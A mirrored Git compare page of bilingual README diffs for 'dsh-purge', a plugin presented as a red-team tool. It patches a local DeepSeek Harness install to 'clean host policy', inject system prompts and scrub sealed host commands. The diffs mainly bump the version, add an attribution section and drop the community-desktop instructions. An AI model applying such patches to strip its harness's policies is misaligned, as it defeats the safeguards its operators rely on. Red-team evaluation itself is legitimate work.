mirror of
https://github.com/YuJunZhiXue/dsh-purge.git
synced 2026-11-27 16:00:22 +08:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
7ad39ad832 | ||
|
|
c032942e5f | ||
|
|
71defcc3da | ||
|
|
4655d06723 | ||
|
|
79714102a5 | ||
|
|
2c07aafead | ||
|
|
54351cff82 | ||
|
|
958c381375 | ||
|
|
be0a0b4890 | ||
|
|
6cdf5596cd | ||
|
|
e139407af8 | ||
|
|
ce5e381ab8 | ||
|
|
e1a83e605c | ||
|
|
805eb1e819 | ||
|
|
69e7cba19c | ||
|
|
33e06259b4 | ||
|
|
11daeabb7c | ||
|
|
148d6218d8 | ||
|
|
94a7cf814e |
No files matched your search
@@ -6,6 +6,15 @@ npm-debug.log*
|
||||
.DS_Store
|
||||
Thumbs.db
|
||||
|
||||
# 只给本机 Cursor 技能看,不进仓库
|
||||
docs/agents/
|
||||
|
||||
# 本地草稿,不进仓库
|
||||
scripts/tmp-*.mjs
|
||||
scripts/test-*.mjs
|
||||
.scratch/
|
||||
dsh-redteam-mode-main/
|
||||
|
||||
# 外部参考,不是本插件
|
||||
choirboy-prompt/
|
||||
/choirboy-prompt/
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
<h1 align="center">⚔️ DeepSeek Harness cybersecurity red-team tool (dsh-purge)</h1>
|
||||
|
||||
<p align="center"><strong>Version 1.1.48</strong></p>
|
||||
<p align="center"><strong>Version 1.1.59</strong></p>
|
||||
|
||||
<p align="center">
|
||||
<em>Local official DeepSeek Harness cybersecurity red-team plugin. Clean host policy, and ship a built-in drill console. Swap prompts per model. Default prompt for Chinese models — 小码酱. Please star ⭐</em>
|
||||
@@ -36,6 +36,7 @@
|
||||
## Contents
|
||||
|
||||
- [What this is](#what-this-is)
|
||||
- [Attribution required](#attribution-required)
|
||||
- [Supported hosts](#supported-hosts)
|
||||
- [Install](#install)
|
||||
- [Preview](#preview)
|
||||
@@ -69,6 +70,12 @@ It only touches the official `@deepseek-ai` packages and local config on the use
|
||||
|
||||
## Non-profit public project. Commercial sale, paid resale, and profit from illegal or gray-market activity are forbidden. For technical reference only.
|
||||
|
||||
## Attribution required
|
||||
|
||||
**If you borrow this project's name, ideas, code, or prompts, you must credit the author and name the source repository:** [YuJunZhiXue/dsh-purge](https://github.com/YuJunZhiXue/dsh-purge).
|
||||
|
||||
Using them without attribution, hiding the source, or passing them off as your own will be pursued.
|
||||
|
||||
---
|
||||
|
||||
<a id="strict-legal--compliance-disclaimer"></a>
|
||||
@@ -101,6 +108,7 @@ It only touches the official `@deepseek-ai` packages and local config on the use
|
||||
7. **The user bears all responsibility.** The project is provided under the MIT license as-is. The authors make no warranty of completeness, security, or fitness. **Users independently bear all civil, administrative, and criminal liability** for download, deploy, run, modify, distribute, and all resulting inputs and outputs. Authors and contributors bear no direct, indirect, or joint liability for abuse.
|
||||
8. **The license ends on breach.** Anyone who uses this project for illegal attacks, malicious activity, or other violations has their open-source license **automatically and irrevocably terminated** from the moment of the violation. They must stop using the project, permanently destroy all copies and derivatives, and accept legal sanctions.
|
||||
9. **No affiliation.** This is an independent open-source security-eval research project. It has no employment, commercial, authorization, or endorsement relationship with DeepSeek or its affiliates. "Official" here only means the eval target is the official DeepSeek Harness package on the user's machine. It does **not** mean DeepSeek developed, approved, or warrants this plugin.
|
||||
10. **Attribution is required.** If you borrow this project's name, ideas, code, or prompts, you must credit the author and name this repository. Failure to attribute will be pursued. See [Attribution required](#attribution-required).
|
||||
|
||||
</font>
|
||||
|
||||
@@ -118,18 +126,17 @@ This release supports **DeepSeek Harness 0.2** only (official desktop **0.2.0-rc
|
||||
| Official Harness 0.1.x | Not supported |
|
||||
| Any other version | Unmatched patches stay pending or skipped; do not expect them to work |
|
||||
|
||||
The plugin version is **1.1.48**. 1.1.45 is skipped; it has bugs.
|
||||
The plugin version is **1.1.59**. 1.1.45 is skipped; it has bugs.
|
||||
|
||||
---
|
||||
|
||||
## Install
|
||||
|
||||
Web, community Desktop, and the official desktop EXE are **installed and patched separately**. Install only the host you have open. The host must be **dsh 0.2**.
|
||||
Only official `dsh web` and the official desktop EXE are maintained. Install and patch them **separately**. Install only the host you have open. The host must be **dsh 0.2**. Community Desktop is not maintained; ask for it in one issue.
|
||||
|
||||
| What you run | Profile | Go to |
|
||||
|---|---|---|
|
||||
| Official `dsh web` | `web` | [Web](#web) |
|
||||
| Community [DSH Desktop](https://github.com/anywhere-labs/dsh-desktop) | `desktop` | [Community Desktop](#desktop) |
|
||||
| Official Harness desktop EXE | `default` | [Official desktop EXE](#official-exe) |
|
||||
|
||||
If `dsh` is not on PATH, or you do not want a remote install, use [Manual install](#manual).
|
||||
@@ -140,10 +147,12 @@ Adding the plugin to a profile does **not** patch `@deepseek-ai` by itself.
|
||||
|
||||
1. **Quit and reopen** the host you just installed into. Stop `dsh web` and start it again, or quit the Desktop tray and open that app's exe.
|
||||
2. On **that host**, click **dsh-purge** beside the session title, then click **Apply** on the **Clean** page. This plugin does not appear on the host Settings page.
|
||||
3. **Restart once more** when prompted. Patched files load on that next start. Restart happens only when you click it.
|
||||
3. A successful **Apply** restarts once so the patches load. Apply does not restart when it did not finish.
|
||||
|
||||
Web **Apply / Restart / Uninstall** affect Web only. Desktop controls affect the desktop app only and do not launch `dsh web`. Do not Apply one host from the other.
|
||||
|
||||
> **macOS official desktop:** Apply unpacks `app.asar`. This plugin patches the official `dsh` CLI entry (asar / `app/` fallback) and adds an `app/runtime` link. If you still see `MODULE_NOT_FOUND ... app.asar/.../cli.js`, Apply once more or reinstall Harness.
|
||||
|
||||
<a id="web"></a>
|
||||
|
||||
### Web
|
||||
@@ -166,50 +175,13 @@ Then follow the three steps above. Click **dsh-purge** beside the session title
|
||||
|
||||
### Community Desktop
|
||||
|
||||
Open [DSH Desktop](https://github.com/anywhere-labs/dsh-desktop) and run this in the **built-in terminal**. That `dsh` is the desktop wrapper; its default profile is `desktop`.
|
||||
|
||||
```sh
|
||||
dsh plugin add https://github.com/YuJunZhiXue/dsh-purge/archive/refs/heads/master.tar.gz
|
||||
```
|
||||
|
||||
Do not use official `dsh plugin --profile desktop` on PATH (it is rejected). Do not use `dsh://` (that protocol belongs to the official EXE).
|
||||
|
||||
Then quit the tray, reopen `DSH Desktop.exe`, click **dsh-purge** beside the session title, and **Apply** on **Clean**.
|
||||
|
||||
For a custom install folder, set `$exe` in the script to `DSH Desktop.exe` in that folder. The tarball URL is the source so a local path with spaces cannot split the command.
|
||||
|
||||
<details>
|
||||
<summary><strong>Install from system PowerShell</strong></summary>
|
||||
|
||||
Find `DSH Desktop.exe` from the running process or the default locations below. Do not scan the whole disk.
|
||||
|
||||
```powershell
|
||||
$zip = "https://github.com/YuJunZhiXue/dsh-purge/archive/refs/heads/master.tar.gz"
|
||||
$exe = (Get-Process -Name "DSH Desktop" -ErrorAction SilentlyContinue | Select-Object -First 1 -ExpandProperty Path)
|
||||
if (-not $exe) {
|
||||
$exe = @(
|
||||
"$env:LOCALAPPDATA\Programs\DSH Desktop\DSH Desktop.exe",
|
||||
"$env:ProgramFiles\DSH Desktop\DSH Desktop.exe",
|
||||
"${env:ProgramFiles(x86)}\DSH Desktop\DSH Desktop.exe"
|
||||
) | Where-Object { Test-Path -LiteralPath $_ } | Select-Object -First 1
|
||||
}
|
||||
if (-not $exe) { throw "DSH Desktop.exe not found. Start the app, or set `$exe` to the exe in the install folder." }
|
||||
$cli = @(
|
||||
(Join-Path (Split-Path $exe) "resources\app\lib\desktop-cli.js"),
|
||||
(Join-Path (Split-Path $exe) "resources\app.asar.unpacked\lib\desktop-cli.js")
|
||||
) | Where-Object { Test-Path -LiteralPath $_ } | Select-Object -First 1
|
||||
$env:ELECTRON_RUN_AS_NODE = "1"
|
||||
$env:DSH_DESKTOP_DEFAULT_PROFILE = "desktop"
|
||||
& $exe --expose-internals $cli plugin add $zip
|
||||
```
|
||||
|
||||
</details>
|
||||
Not maintained. Only official Web and the official desktop EXE are supported. If you want the community build later, open one issue. Do not mix that into this behavior.
|
||||
|
||||
<a id="official-exe"></a>
|
||||
|
||||
### Official desktop EXE
|
||||
|
||||
If the **official DeepSeek Harness desktop client** is installed, use the command or the button (`dsh://`). Community DSH Desktop does **not** handle that protocol — use the previous section. Current support is **0.2.0-rc.2** only.
|
||||
If the **official DeepSeek Harness desktop client** is installed, use the command or the button (`dsh://`). Community Desktop is not maintained; do not use this protocol to install it. Current support is **0.2.0-rc.2** only.
|
||||
|
||||
```sh
|
||||
dsh plugin --profile default add https://github.com/YuJunZhiXue/dsh-purge/archive/refs/heads/master.tar.gz
|
||||
@@ -218,13 +190,13 @@ dsh plugin --profile default add https://github.com/YuJunZhiXue/dsh-purge/archiv
|
||||
<p align="center">
|
||||
<a href="https://deepseek.stream/plugins/dsh-purge"><strong>🌐 Open Hub page</strong></a>
|
||||
·
|
||||
<a href="dsh://plugin/install?id=dsh-purge&name=dsh-purge&version=1.1.48&repo=YuJunZhiXue%2Fdsh-purge&permissions=%E7%B3%BB%E7%BB%9F%E6%8F%90%E7%A4%BA%E8%AF%8D%E6%B3%A8%E5%85%A5%2C%E6%9C%AC%E6%9C%BA%E8%A1%A5%E4%B8%81%2C%E8%AE%BE%E7%BD%AE%E9%A1%B5&downloadUrl=https%3A%2F%2Fgithub.com%2FYuJunZhiXue%2Fdsh-purge%2Farchive%2Frefs%2Fheads%2Fmaster.tar.gz"><strong>🚀 Install in desktop client</strong></a>
|
||||
<a href="dsh://plugin/install?id=dsh-purge&name=dsh-purge&version=1.1.59&repo=YuJunZhiXue%2Fdsh-purge&permissions=%E7%B3%BB%E7%BB%9F%E6%8F%90%E7%A4%BA%E8%AF%8D%E6%B3%A8%E5%85%A5%2C%E6%9C%AC%E6%9C%BA%E8%A1%A5%E4%B8%81%2C%E8%AE%BE%E7%BD%AE%E9%A1%B5&downloadUrl=https%3A%2F%2Fgithub.com%2FYuJunZhiXue%2Fdsh-purge%2Farchive%2Frefs%2Fheads%2Fmaster.tar.gz"><strong>🚀 Install in desktop client</strong></a>
|
||||
</p>
|
||||
|
||||
🔗 **Raw protocol URL:**
|
||||
|
||||
```
|
||||
dsh://plugin/install?id=dsh-purge&name=dsh-purge&version=1.1.48&repo=YuJunZhiXue%2Fdsh-purge&permissions=%E7%B3%BB%E7%BB%9F%E6%8F%90%E7%A4%BA%E8%AF%8D%E6%B3%A8%E5%85%A5%2C%E6%9C%AC%E6%9C%BA%E8%A1%A5%E4%B8%81%2C%E8%AE%BE%E7%BD%AE%E9%A1%B5&downloadUrl=https%3A%2F%2Fgithub.com%2FYuJunZhiXue%2Fdsh-purge%2Farchive%2Frefs%2Fheads%2Fmaster.tar.gz
|
||||
dsh://plugin/install?id=dsh-purge&name=dsh-purge&version=1.1.59&repo=YuJunZhiXue%2Fdsh-purge&permissions=%E7%B3%BB%E7%BB%9F%E6%8F%90%E7%A4%BA%E8%AF%8D%E6%B3%A8%E5%85%A5%2C%E6%9C%AC%E6%9C%BA%E8%A1%A5%E4%B8%81%2C%E8%AE%BE%E7%BD%AE%E9%A1%B5&downloadUrl=https%3A%2F%2Fgithub.com%2FYuJunZhiXue%2Fdsh-purge%2Farchive%2Frefs%2Fheads%2Fmaster.tar.gz
|
||||
```
|
||||
|
||||
<details>
|
||||
@@ -240,7 +212,7 @@ export function installDshPurgeToDesktop() {
|
||||
const params = new URLSearchParams({
|
||||
id: 'dsh-purge',
|
||||
name: 'dsh-purge',
|
||||
version: '1.1.48',
|
||||
version: '1.1.59',
|
||||
repo: 'YuJunZhiXue/dsh-purge',
|
||||
permissions: '系统提示词注入, 本机补丁, 设置页',
|
||||
downloadUrl: 'https://github.com/YuJunZhiXue/dsh-purge/archive/refs/heads/master.tar.gz',
|
||||
@@ -259,7 +231,7 @@ export function installDshPurgeToDesktop() {
|
||||
**HTML link:**
|
||||
|
||||
```html
|
||||
<a href="dsh://plugin/install?id=dsh-purge&name=dsh-purge&version=1.1.48&repo=YuJunZhiXue%2Fdsh-purge&permissions=%E7%B3%BB%E7%BB%9F%E6%8F%90%E7%A4%BA%E8%AF%8D%E6%B3%A8%E5%85%A5%2C%E6%9C%AC%E6%9C%BA%E8%A1%A5%E4%B8%81%2C%E8%AE%BE%E7%BD%AE%E9%A1%B5&downloadUrl=https%3A%2F%2Fgithub.com%2FYuJunZhiXue%2Fdsh-purge%2Farchive%2Frefs%2Fheads%2Fmaster.tar.gz">
|
||||
<a href="dsh://plugin/install?id=dsh-purge&name=dsh-purge&version=1.1.59&repo=YuJunZhiXue%2Fdsh-purge&permissions=%E7%B3%BB%E7%BB%9F%E6%8F%90%E7%A4%BA%E8%AF%8D%E6%B3%A8%E5%85%A5%2C%E6%9C%AC%E6%9C%BA%E8%A1%A5%E4%B8%81%2C%E8%AE%BE%E7%BD%AE%E9%A1%B5&downloadUrl=https%3A%2F%2Fgithub.com%2FYuJunZhiXue%2Fdsh-purge%2Farchive%2Frefs%2Fheads%2Fmaster.tar.gz">
|
||||
🚀 Install in desktop client
|
||||
</a>
|
||||
```
|
||||
@@ -270,7 +242,7 @@ export function installDshPurgeToDesktop() {
|
||||
|---|---|---|
|
||||
| id | `dsh-purge` | Plugin id |
|
||||
| name | `dsh-purge` | Display name |
|
||||
| version | `1.1.48` | Semver |
|
||||
| version | `1.1.59` | Semver |
|
||||
| repo | `YuJunZhiXue/dsh-purge` | GitHub repo |
|
||||
| permissions | `系统提示词注入, 本机补丁, 设置页` | Requested permissions |
|
||||
| downloadUrl | `https://github.com/YuJunZhiXue/dsh-purge/archive/refs/heads/master.tar.gz` | GitHub source archive |
|
||||
@@ -308,37 +280,9 @@ dsh plugin --profile web add https://github.com/YuJunZhiXue/dsh-purge/archive/re
|
||||
|
||||
If this directory is already a clone, use `dsh plugin --profile web add .`.
|
||||
|
||||
**Desktop (community DSH Desktop)**
|
||||
**Community Desktop**
|
||||
|
||||
Do not use official `dsh plugin --profile desktop` on PATH. Do not use `dsh://`.
|
||||
|
||||
Default: already inside Desktop’s built-in terminal:
|
||||
|
||||
```sh
|
||||
dsh plugin add https://github.com/YuJunZhiXue/dsh-purge/archive/refs/heads/master.tar.gz
|
||||
```
|
||||
|
||||
From a system terminal: use the running `DSH Desktop` process Path, or the default locations `%LOCALAPPDATA%\Programs\DSH Desktop\DSH Desktop.exe`, `%ProgramFiles%\DSH Desktop\DSH Desktop.exe`. Do not scan the whole disk. Then:
|
||||
|
||||
```powershell
|
||||
$zip = "https://github.com/YuJunZhiXue/dsh-purge/archive/refs/heads/master.tar.gz"
|
||||
$exe = (Get-Process -Name "DSH Desktop" -ErrorAction SilentlyContinue | Select-Object -First 1 -ExpandProperty Path)
|
||||
if (-not $exe) {
|
||||
$exe = @(
|
||||
"$env:LOCALAPPDATA\Programs\DSH Desktop\DSH Desktop.exe",
|
||||
"$env:ProgramFiles\DSH Desktop\DSH Desktop.exe",
|
||||
"${env:ProgramFiles(x86)}\DSH Desktop\DSH Desktop.exe"
|
||||
) | Where-Object { Test-Path -LiteralPath $_ } | Select-Object -First 1
|
||||
}
|
||||
if (-not $exe) { Write-Host "DSH Desktop.exe not found. Start the app or give the install folder."; return }
|
||||
$cli = @(
|
||||
(Join-Path (Split-Path $exe) "resources\app\lib\desktop-cli.js"),
|
||||
(Join-Path (Split-Path $exe) "resources\app.asar.unpacked\lib\desktop-cli.js")
|
||||
) | Where-Object { Test-Path -LiteralPath $_ } | Select-Object -First 1
|
||||
$env:ELECTRON_RUN_AS_NODE = "1"
|
||||
$env:DSH_DESKTOP_DEFAULT_PROFILE = "desktop"
|
||||
& $exe --expose-internals $cli plugin add $zip
|
||||
```
|
||||
Not maintained. Do not install it. Ask for it in one issue.
|
||||
|
||||
**Official Harness desktop EXE**
|
||||
|
||||
@@ -362,9 +306,8 @@ Use this when the command fails, `dsh` is not on `PATH`, or you do not want a re
|
||||
|
||||
| What you actually run | Edit only this directory | Leave alone |
|
||||
|---|---|---|
|
||||
| Official `dsh web` | `$DSH_HOME/profiles/web` | `desktop`, `default` |
|
||||
| Community [DSH Desktop](https://github.com/anywhere-labs/dsh-desktop) | `$DSH_HOME/profiles/desktop` | `web`, `default` |
|
||||
| Official Harness desktop EXE | `$DSH_HOME/profiles/default` | `web`, `desktop` |
|
||||
| Official `dsh web` | `$DSH_HOME/profiles/web` | `default` |
|
||||
| Official Harness desktop EXE | `$DSH_HOME/profiles/default` | `web` |
|
||||
|
||||
If `profiles/<name>/package.json` is missing, start that host once so the official program creates the profile, then continue.
|
||||
|
||||
@@ -406,8 +349,8 @@ $cands | Select-Object -Unique | Where-Object { $_ -and (Test-Path (Join-Path $_
|
||||
How to confirm you found the right one:
|
||||
|
||||
- Web: `$DSH_HOME/profiles/web/package.json` has `"name": "dsh-profile-web"`
|
||||
- Community Desktop: `$DSH_HOME/profiles/desktop/package.json` has `"name": "dsh-profile-desktop"`
|
||||
- Official EXE: `$DSH_HOME/profiles/default/package.json` exists
|
||||
- Community Desktop is not maintained. Do not edit `profiles/desktop`
|
||||
|
||||
Machines often have two homes (user folder and install folder). A portable / install-dir official `dsh` uses the `.dsh` next to the install root — not an empty `%USERPROFILE%\.dsh`. After the steps below, start the host that belongs to that home.
|
||||
|
||||
@@ -458,7 +401,6 @@ Check: `$DSH_HOME/plugins/dsh-purge/package.json` opens and `"name": "dsh-purge"
|
||||
| Host | File to edit |
|
||||
|---|---|
|
||||
| Web | `$DSH_HOME/profiles/web/package.json` |
|
||||
| Community Desktop | `$DSH_HOME/profiles/desktop/package.json` |
|
||||
| Official desktop EXE | `$DSH_HOME/profiles/default/package.json` |
|
||||
|
||||
Copy `package.json.bak` first. Then **add only two things**. Keep every existing dependency, bundle, and other field:
|
||||
@@ -519,15 +461,12 @@ Notes:
|
||||
|
||||
**4. Run `pnpm install` only in the profile you just edited**
|
||||
|
||||
`pnpm` must be available (official `dsh` usually ships it). `cd` into **that profile directory**, not the repo root and not `$DSH_HOME` itself. Run only the block for your host. Do not run all three.
|
||||
`pnpm` must be available (official `dsh` usually ships it). `cd` into **that profile directory**, not the repo root and not `$DSH_HOME` itself. Run only the block for your host. Do not run both.
|
||||
|
||||
```sh
|
||||
cd "$DSH_HOME/profiles/web"
|
||||
pnpm install
|
||||
|
||||
cd "$DSH_HOME/profiles/desktop"
|
||||
pnpm install
|
||||
|
||||
cd "$DSH_HOME/profiles/default"
|
||||
pnpm install
|
||||
```
|
||||
@@ -543,7 +482,7 @@ cd "$env:USERPROFILE\.dsh\profiles\web"
|
||||
pnpm install
|
||||
```
|
||||
|
||||
Success: `$DSH_HOME/profiles/<web|desktop|default>/node_modules/dsh-purge/package.json` exists.
|
||||
Success: `$DSH_HOME/profiles/<web|default>/node_modules/dsh-purge/package.json` exists.
|
||||
|
||||
Common failures:
|
||||
|
||||
@@ -555,10 +494,10 @@ Common failures:
|
||||
|
||||
Writing `package.json` does **not** patch `@deepseek-ai` by itself. Restart, then click **Apply**.
|
||||
|
||||
1. Fully quit the host you just installed into: stop `dsh web`; quit the community Desktop tray and open `DSH Desktop.exe`; quit the official EXE tray as well
|
||||
1. Fully quit the host you just installed into: stop `dsh web`, or quit the official EXE tray
|
||||
2. Open **that host**. **dsh-purge** should appear beside the session title. Open it to reach Clean.
|
||||
3. Click **Apply** on this host only, or run `/purge apply` in chat. Do not Apply Web from Desktop or Desktop from Web
|
||||
4. Restart again when prompted so patched packages load in this process. Settings **Restart / Uninstall** relaunch the desktop app; they do not launch `dsh web`
|
||||
4. A successful Apply restarts once so patched packages load. Apply does not restart when it did not finish. Official desktop **Restart / Uninstall** relaunch only the official desktop; they do not launch `dsh web`
|
||||
|
||||
**6. How to confirm it is installed**
|
||||
|
||||
@@ -570,7 +509,7 @@ If the card is missing, you likely edited the other `.dsh`, or you edited `web`
|
||||
|
||||
### Uninstall
|
||||
|
||||
**dsh-purge** beside the session title → **Clean** → **Uninstall**. Confirm the dialog: uninstall restores the original Harness and removes this plugin. If patches were applied, they are reverted first. The current host then restarts (Web relaunches `dsh web`; community Desktop relaunches `DSH Desktop.exe`).
|
||||
**dsh-purge** beside the session title → **Clean** → **Uninstall**. Confirm the dialog: uninstall restores the original Harness and removes this plugin. If patches were applied, they are reverted first. The current host then restarts (Web relaunches `dsh web`; the official desktop relaunches the official client).
|
||||
|
||||
```sh
|
||||
# or from a terminal
|
||||
@@ -800,13 +739,9 @@ The host surface is detected first: `web` / `desktop` (`gui` / `tui` are reserve
|
||||
4. Nested `@deepseek-ai/dsh/node_modules/@deepseek-ai`
|
||||
5. `~/.dsh`
|
||||
|
||||
**Community DSH Desktop:** only the **running desktop process** install tree (`resources/app` or `app.asar.unpacked` → `@deepseek-ai`). The folder does not have to be named `DSH Desktop`, and the drive letter is not hard-coded. Order:
|
||||
**Official desktop EXE:** the running official Harness install (`resources/app` or the unpacked package). The drive letter is not hard-coded. A successful Apply restarts once.
|
||||
|
||||
1. Running `DSH Desktop.exe` / `process.resourcesPath` / `host-process-entry.js` / `desktop-cli.js`
|
||||
2. A `resources/app` tree whose parent folder actually contains `DSH Desktop.exe`
|
||||
3. A path whose name contains `DSH Desktop` / `dsh-desktop`
|
||||
4. `DSH_DESKTOP_INSTALL` (install root) or `DSH_BASE` (`@deepseek-ai` under that tree)
|
||||
5. Common NSIS locations (`%LOCALAPPDATA%\Programs\DSH Desktop`, `%ProgramFiles%\DSH Desktop`, …)
|
||||
Community Desktop is not maintained.
|
||||
|
||||
Official npm-global is not patched. Sealed `host-commands` / `runtime-commands` are scrubbed, never injected.
|
||||
|
||||
|
||||
+32
-93
@@ -4,7 +4,7 @@
|
||||
|
||||
<h1 align="center">⚔️ DeepSeek Harness 网络安全红队工具(dsh-purge)</h1>
|
||||
|
||||
<p align="center"><strong>Version 1.1.48</strong></p>
|
||||
<p align="center"><strong>Version 1.1.59</strong></p>
|
||||
|
||||
<p align="center">
|
||||
<em>本机官方 DeepSeek Harness 网络安全红队评测插件。清洗宿主策略,并带内嵌演练台。不同模型可换不同提示词。默认提示词面向国模「小码酱」。求 Star 收藏 ⭐</em>
|
||||
@@ -36,6 +36,7 @@
|
||||
## 目录
|
||||
|
||||
- [介绍](#介绍)
|
||||
- [署名要求](#署名要求)
|
||||
- [适配范围](#适配范围)
|
||||
- [安装](#安装)
|
||||
- [界面](#界面预览)
|
||||
@@ -69,6 +70,12 @@ Harness 不只是把问题交给模型。它还会在运行时改提示词、审
|
||||
|
||||
## 📌 非盈利公益项目,严禁任何主体用于商业售卖、付费倒卖或黑灰产牟利,仅供技术参考。
|
||||
|
||||
## 署名要求
|
||||
|
||||
**借用本项目的名称、思路、代码或提示词,必须署名,并写明来源仓库:** [YuJunZhiXue/dsh-purge](https://github.com/YuJunZhiXue/dsh-purge)。
|
||||
|
||||
不署名、隐瞒来源、改头换面据为己有,作者将依法追究责任。
|
||||
|
||||
---
|
||||
|
||||
<a id="strict-legal--compliance-disclaimer"></a>
|
||||
@@ -101,6 +108,7 @@ Harness 不只是把问题交给模型。它还会在运行时改提示词、审
|
||||
7. **使用者独立承担全部责任**:本项目依据 MIT 开源协议“按现状”提供,开发者不对软件的完整性、安全性与适用性作任何明示或暗示的保证。**使用者应对自身的所有下载、部署、运行、修改、传播行为以及由此产生的全部输入与输出后果承担独立、完全的民事、行政及刑事法律责任**。项目作者与贡献团队绝不承担任何因使用者滥用导致的直接、间接或连带责任。
|
||||
8. **违约即终止授权**:任何将本项目用于非法攻击、恶意活动或违规行为的个人或实体,其开源软件使用许可将自违法违规行为发生之日起**自动且不可撤销地立即终止**。该主体须立即停止使用并永久销毁本项目的所有代码、脚本与衍生数据,并依法承担相应法律制裁。
|
||||
9. **第三方独立性声明**:本项目属于完全独立的开源安全评测研究项目,与 DeepSeek 官方或其关联主体无任何隶属、商业合作、授权或官方背书关系。文中「官方」仅指评测对象为使用者本机安装的官方 DeepSeek Harness 软件包,**不代表** DeepSeek 官方开发、认可或担保本插件。
|
||||
10. **必须署名**:借用本项目的名称、思路、代码或提示词,必须署名并标明本仓库。不署名将依法追究责任。详见 [署名要求](#署名要求)。
|
||||
|
||||
</font>
|
||||
|
||||
@@ -118,18 +126,17 @@ Harness 不只是把问题交给模型。它还会在运行时改提示词、审
|
||||
| 官方 Harness 0.1.x | 不支持 |
|
||||
| 其它未列出版本 | 对不上的补丁会显示待应用或跳过,不要指望能用 |
|
||||
|
||||
插件版本是 **1.1.48**。1.1.45 有问题,略过。
|
||||
插件版本是 **1.1.59**。1.1.45 有问题,略过。
|
||||
|
||||
---
|
||||
|
||||
## 安装
|
||||
|
||||
Web、社区桌面端、官方桌面 EXE **分开装、分开应用**。只装你正在打开的那一个。必须是 **dsh 0.2**。
|
||||
现在只维护官方 `dsh web` 和官方桌面 EXE,**分开装、分开应用**。只装你正在打开的那一个。必须是 **dsh 0.2**。社区桌面端暂不维护;需要的话请单独开一个 issue。
|
||||
|
||||
| 你正在用 | profile | 安装 |
|
||||
|---|---|---|
|
||||
| 官方 `dsh web` | `web` | [Web](#web) |
|
||||
| 社区 [DSH Desktop](https://github.com/anywhere-labs/dsh-desktop) | `desktop` | [社区桌面端](#desktop) |
|
||||
| 官方 Harness 桌面 EXE | `default` | [官方桌面 EXE](#official-exe) |
|
||||
|
||||
`dsh` 不在 PATH、或不想走远程安装时,用 [手动安装](#manual)。
|
||||
@@ -140,7 +147,9 @@ Web、社区桌面端、官方桌面 EXE **分开装、分开应用**。只装
|
||||
|
||||
1. **退出并重新打开**刚装的那个宿主。Web 关掉 `dsh web` 再开;桌面端退出托盘,再打开对应的 exe。
|
||||
2. 点会话标题旁的 **dsh-purge**,在右侧栏的 **清洗** 里点 **「应用」**。宿主的设置页里没有这个条目。
|
||||
3. 按提示 **再重启一次**。补丁这时才进入当前进程。点「重启」才会重启,不会装完自动重启。
|
||||
3. 点「应用」成功后会自动重启一次,让补丁进入当前进程。应用没做完不会重启。
|
||||
|
||||
> **macOS 官方桌面**:点「应用」会解开 `app.asar`。本插件会自动修补官方 `dsh` CLI 入口(asar / `app/` 双向兼容)并补上 `app/runtime` 链接;若你仍看到 `MODULE_NOT_FOUND ... app.asar/.../cli.js`,再点一次「应用」,或重装 Harness。
|
||||
|
||||
Web 的「应用 / 重启 / 卸载」只动 Web。桌面端的只动桌面应用,不会去拉 `dsh web`。不要在 Web 里点桌面端的应用,也不要反过来。
|
||||
|
||||
@@ -166,50 +175,13 @@ dsh plugin --profile web add .
|
||||
|
||||
### 社区桌面端
|
||||
|
||||
打开 [DSH Desktop](https://github.com/anywhere-labs/dsh-desktop),在 **自带终端** 里执行。这里的 `dsh` 是桌面包装脚本,默认 profile 就是 `desktop`。
|
||||
|
||||
```sh
|
||||
dsh plugin add https://github.com/YuJunZhiXue/dsh-purge/archive/refs/heads/master.tar.gz
|
||||
```
|
||||
|
||||
不要用 PATH 上的官方 `dsh plugin --profile desktop`,这条会被拒绝。不要用 `dsh://`,那是官方 EXE 的协议。
|
||||
|
||||
然后退出托盘,重新打开 `DSH Desktop.exe`,点会话标题旁的 **dsh-purge**,在 **清洗** 里点「应用」。
|
||||
|
||||
自定义安装目录时,把脚本里的 `$exe` 换成该目录下的 `DSH Desktop.exe`。源用 tar.gz 地址,避免本地路径里的空格把命令拆开。
|
||||
|
||||
<details>
|
||||
<summary><strong>从系统 PowerShell 安装</strong></summary>
|
||||
|
||||
按正在运行的进程,或下面三个默认位置找 `DSH Desktop.exe`。不要全盘搜索。
|
||||
|
||||
```powershell
|
||||
$zip = "https://github.com/YuJunZhiXue/dsh-purge/archive/refs/heads/master.tar.gz"
|
||||
$exe = (Get-Process -Name "DSH Desktop" -ErrorAction SilentlyContinue | Select-Object -First 1 -ExpandProperty Path)
|
||||
if (-not $exe) {
|
||||
$exe = @(
|
||||
"$env:LOCALAPPDATA\Programs\DSH Desktop\DSH Desktop.exe",
|
||||
"$env:ProgramFiles\DSH Desktop\DSH Desktop.exe",
|
||||
"${env:ProgramFiles(x86)}\DSH Desktop\DSH Desktop.exe"
|
||||
) | Where-Object { Test-Path -LiteralPath $_ } | Select-Object -First 1
|
||||
}
|
||||
if (-not $exe) { throw "未找到 DSH Desktop.exe,请先打开桌面端,或把 `$exe` 设成安装目录里的 exe" }
|
||||
$cli = @(
|
||||
(Join-Path (Split-Path $exe) "resources\app\lib\desktop-cli.js"),
|
||||
(Join-Path (Split-Path $exe) "resources\app.asar.unpacked\lib\desktop-cli.js")
|
||||
) | Where-Object { Test-Path -LiteralPath $_ } | Select-Object -First 1
|
||||
$env:ELECTRON_RUN_AS_NODE = "1"
|
||||
$env:DSH_DESKTOP_DEFAULT_PROFILE = "desktop"
|
||||
& $exe --expose-internals $cli plugin add $zip
|
||||
```
|
||||
|
||||
</details>
|
||||
暂不维护。当前只支持官方 Web 和官方桌面 EXE。以后若要社区版,请单独开一个 issue,不要和这次的行为混在一起。
|
||||
|
||||
<a id="official-exe"></a>
|
||||
|
||||
### 官方桌面 EXE
|
||||
|
||||
已经安装 **DeepSeek Harness 官方桌面客户端** 时,用下面的命令,或点按钮走 `dsh://`。社区 DSH Desktop **不认** 这个协议,请回到上一节。当前只适配 **0.2.0-rc.2**。
|
||||
已经安装 **DeepSeek Harness 官方桌面客户端** 时,用下面的命令,或点按钮走 `dsh://`。社区桌面端不维护,不要用这个协议去装它。当前只适配 **0.2.0-rc.2**。
|
||||
|
||||
```sh
|
||||
dsh plugin --profile default add https://github.com/YuJunZhiXue/dsh-purge/archive/refs/heads/master.tar.gz
|
||||
@@ -218,13 +190,13 @@ dsh plugin --profile default add https://github.com/YuJunZhiXue/dsh-purge/archiv
|
||||
<p align="center">
|
||||
<a href="https://deepseek.stream/plugins/dsh-purge"><strong>🌐 打开插件市场页</strong></a>
|
||||
·
|
